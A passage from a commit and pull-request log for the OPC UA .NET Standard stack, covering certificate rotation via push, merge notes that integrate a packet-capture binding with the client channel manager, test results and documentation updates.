✅ | 38/38 ✅ | | `GDS PushTest` (full) | 313/338 ✅ | — | Skips are pre-existing (cert-type mismatches, optional methods) — no regressions. New integration test `PushTest.ApplyChangesForcesChannelRenegotiateAsync` positively asserts the stale channel fails with a recognized channel-invalidation status after `ApplyChanges`, and that a fresh reconnect succeeds with the rotated cert. ## Documentation - `Docs/CertificateManager.md` — new sections: - "Server-Side Certificate Rotation via Push (OPC UA Part 12 §7.10.9)" — `ITransportListenerCertificateRotation` contract + custom listener example. - "Client-Side Auto-Detection of Certificate Changes (issue #3160)" — `AutoReconnectOnCertificateChange` + `ApplicationCertificateChanged` event + the three covered scenarios. ## Related Issues - Fixes #3562 - Fixes #3160 ## Checklist - [ ] I have signed the [CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf) and read the [CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md) doc. - [x] I have added tests that prove my fix is effective or that my feature works and increased code coverage. - [x] I have added all necessary documentation. - [x] I have verified that my changes do not introduce (new) build or analyzer warnings. - [x] I ran focused tests locally using the **UA.slnx** projects against .net **framework 4.8** and .net **10**, and all passed. _(Full UA.slnx test run delegated to CI.)_ - [ ] I fixed **all** failing and flaky tests in the CI pipelines and **all** CodeQL warnings. - [ ] I have addressed **all** PR feedback received. |
||
|
|
961329e4d9 | Merge branch 'channelrefinements' of https://github.com/OPCFoundation/UA-.NETStandard into channelrefinements | ||
|
|
b1ba2cc371 | Merge branch 'master' into channelrefinements | ||
|
|
a3a4dc2703 |
Merge origin/capture into channelrefinements2 (round 2)
Brings in three new commits on capture: - |
||
|
|
5010d421c6 |
docs: cross-reference Pcap binding integration with IClientChannelManager
Add a dedicated 'Integration with the central channel manager' section to Docs/PacketCapture.md spelling out the three properties of the channel manager (sharing, transparent reconnect, faulted-entry swap) that flow through to capture for free, plus the standard DI registration order. Update the in-process-client quick-start to show the channel manager registered alongside the Pcap binding. Add a back-link from Docs/Sessions.md 'See also' so readers of the channel-manager doc discover the capture composition. |
||
|
|
87dcfc10cf |
Merge origin/capture into channelrefinements2
Brings the packet-capture / dissection / replay engine (Opc.Ua.Bindings.Pcap) onto the channel-refinements branch so it composes cleanly with the central IClientChannelManager work landed in PR #3852 (channelrefinements). Conflicts resolved: - Applications/McpServer/Program.cs: union of both ConfigureServices changes — registers AddOpcUa().AddClient() (channel manager) AND AddOpcUaBindingsPcap() / Formatters / Replay (capture). Channel manager picks up the capture binding automatically via the shared TransportBindings.Channels registry. - Stack/Opc.Ua.Core/Stack/Tcp/TcpListenerChannel.cs: keep both m_sessionCount (channelrefinements2) and m_tokenActivated event (origin/capture). Server-side capture relies on TcpListenerChannel.OnTokenActivated to snapshot per-channel ChannelToken keys for offline decoding. - UA.slnx: keep both Opc.Ua.Di.Tests and Opc.Ua.Bindings.Pcap.Tests project entries. Pre-existing fix folded in (build-blocker introduced earlier on channelrefinements2, not by the capture merge): - Applications/Quickstarts.Servers/ReferenceServer/ReferenceServerConfigurationNodeManager.cs s_optionalPubSubFolders previously referenced ObjectIds.SecurityGroups and ObjectIds.KeyPushTargets, neither of which exists on the curated Stack/Opc.Ua.Types/Internal/ObjectIds.cs surface. Inlined the NodeId literals (i=15443 / i=25440) per the docstring above the array so the merged tree builds end-to-end across all TFMs and every transitive test project (Tests/Opc.Ua.Client.Tests, Tests/Opc.Ua.Sessions.Tests, etc.) compiles. Architectural fit ("take advantage of all the changes you made here"): 1. Pcap integrates with the central channel manager via the global TransportBindings.Channels registry. ClientChannelManager.ctor accepts an injected ITransportChannelBindings? that defaults to the global registry, so the Pcap binding installed by AddOpcUaBindingsPcap is automatically picked up by every channel created through the manager. No code wiring needed — the composition is pure layering. 2. Channel sharing transparently includes capture. When multiple participants share a single IManagedTransportChannel (the F1 refcount + key-equivalence work), the underlying CapturingMessageSocket captures all participant traffic on the same wire, automatically. 3. Transparent reconnect preserves the capture session. The F8 diagnostics events on ClientChannelManager (state-change / close notifications) and the Phase E SwapFaultedEntryAsync swap path produce fresh ChannelEntry instances under the same ManagedChannelKey — IChannelCaptureRegistry is keyed by channel identity, so a swap rolls the active observer into the new entry and the capture session continues recording across the reconnect / faulted-swap cycle. 4. MCP server composes both: services.AddOpcUa().AddClient() (channel manager + DI), services.AddSingleton<OpcUaSessionManager>(), services.AddOpcUaBindingsPcap() (capture binding). OpcUaSessionManager resolves IClientChannelManager from IServiceProvider; the Pcap tools (Tools/PacketCapture/Decode/ReplayTools.cs) resolve CaptureSessionManager and IChannelCaptureRegistry from the same provider. Verified locally on net10.0: - Stack/Opc.Ua.Bindings.Pcap build: 0 warnings, 0 errors. - Libraries/Opc.Ua.Client build (channel manager): 0 warnings, 0 errors. - Tests/Opc.Ua.Bindings.Pcap.Tests: 53/53 passed. - Tests/Opc.Ua.Client.Tests ClientChannelManager filter: 29/29 passed. - Tests/Opc.Ua.Sessions.Tests ChannelManager filter: 7/7 passed, 1 skipped (RequiresSessionRecreate carry-forward). - Applications/McpServer build: 0 warnings, 0 errors. |
||
|
|
117f2212d7 | Simplify token-activated subscription (channel is always ISecureChannel) (CA1508) | ||
|
|
f07501e0ec | Merge origin/master into capture |